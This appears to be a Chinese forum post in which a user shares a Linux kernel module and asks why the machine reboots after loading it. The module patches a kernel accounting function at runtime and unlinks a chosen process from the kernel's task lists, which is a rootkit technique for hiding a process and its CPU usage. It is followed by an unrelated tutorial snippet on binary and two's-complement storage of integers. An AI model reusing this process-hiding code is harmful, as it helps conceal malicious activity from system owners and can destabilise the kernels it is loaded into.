#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <linux/cpu.h>
char *stub = NULL;
char *addr = NULL;
static unsigned int pid = 0;
module_param(pid, int, 0444);
void stub_func_template(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
if(p -> pid == 0x33229982)
{
asm ("pop %rbp; pop %r11; retq;");
}
}
#define FTRACE_SIZE 5
#define POKE_OFFSET 0
#define POKE_LENGTH 5
void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,unsigned long start, unsigned long end, gfp_t gfp_mask,pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;
char *hide_account_user_time = NULL;
void hide_process(void)
{
struct task_struct *task = NULL;
struct pid_link *link = NULL;
struct hlist_node *node = NULL;
task = pid_task(find_vpid(pid), PIDTYPE_PID);
link = &task -> pids[PIDTYPE_PID];
list_del_rcu(&task->tasks);
INIT_LIST_HEAD(&task -> tasks);
node = &link -> node;hlist_del_rcu(node);
INIT_HLIST_NODE(node);
node -> pprev = &node;
}
static int __init hotfix_init(void)
{
unsigned char jmp_call[POKE_LENGTH];
s32 offset;
unsigned int *ppid;addr = (void *)kallsyms_lookup_name("account_user_time");
if (!addr) {
printk("一切还没有准备好!请先加载sample模块。\n");
return -1;
}
___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {printk("还没开始,就已经结束。");
return -1;
}
#define START _AC(0xffffffffa0000000, UL)
#define END _AC(0xffffffffff000000, UL)
hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,-1, __builtin_return_address(0));
if (!hide_account_user_time)
{
printk("很遗憾,内存不够了\n");
return -1;
}
memcpy (hide_account_user_time, stub_func_template, 0x25);
ppid = (unsigned int *)&hide_account_user_time[12];
*ppid = pid;
stub = (void *)hide_account_user_time;
offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);
jmp_call[0] = 0xe8;
(*(s32 *)(&jmp_call[1])) = offset;
get_online_cpus();
mutex_lock(_text_mutex);
_text_poke_smp(&addr[POKE_OFFSET], jmp_call, POKE_LENGTH);
mutex_unlock(_text_mutex);
put_online_cpus();
hide_process();
return -1;
}
static void __exit hotfix_exit(void)
{
}
module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");
使用后机器直接关机重启,请问是什么情况
【相关推荐】
众所周知,创建变量的本质就是在内存中开辟空间,变量就是用来存放数据的,就好比饭菜要用容器盛装
在把数据放到空间之前,首先要把十进制转换成二进制,究竟写成多少个比特位的形式还是以32个最好,但不是必须,因为数据是多少个字节无所谓,他现在只是一个数字而已,就好比我有100个钱,没有说人民币还是美金一样。
但是一旦补码准备好要放入内存就要根据变量类型来选择最多能放入多少个字节
存:
int a=10;
比如这里
数据10的二进制该怎么转换?
十进制二进制相互转换的小技巧:
第一步 把要转换的数字写成二的次幂的和 :10=8+2
第二步 二的几次幂就对应1后几个0 如果有的位被修改成1也没关系,同样也算一位
8=2^3——>1000, 2=2^1——>10
第三步 在二进制的一串0上,从低位开始数0,改成1
00000000 00000000 00000000 00000000 (以32个比特位为例)
00000000 00000000 00000000 00001010 (原码,但是原反补相同)
所以10的补码准备完毕
现在放入内存空间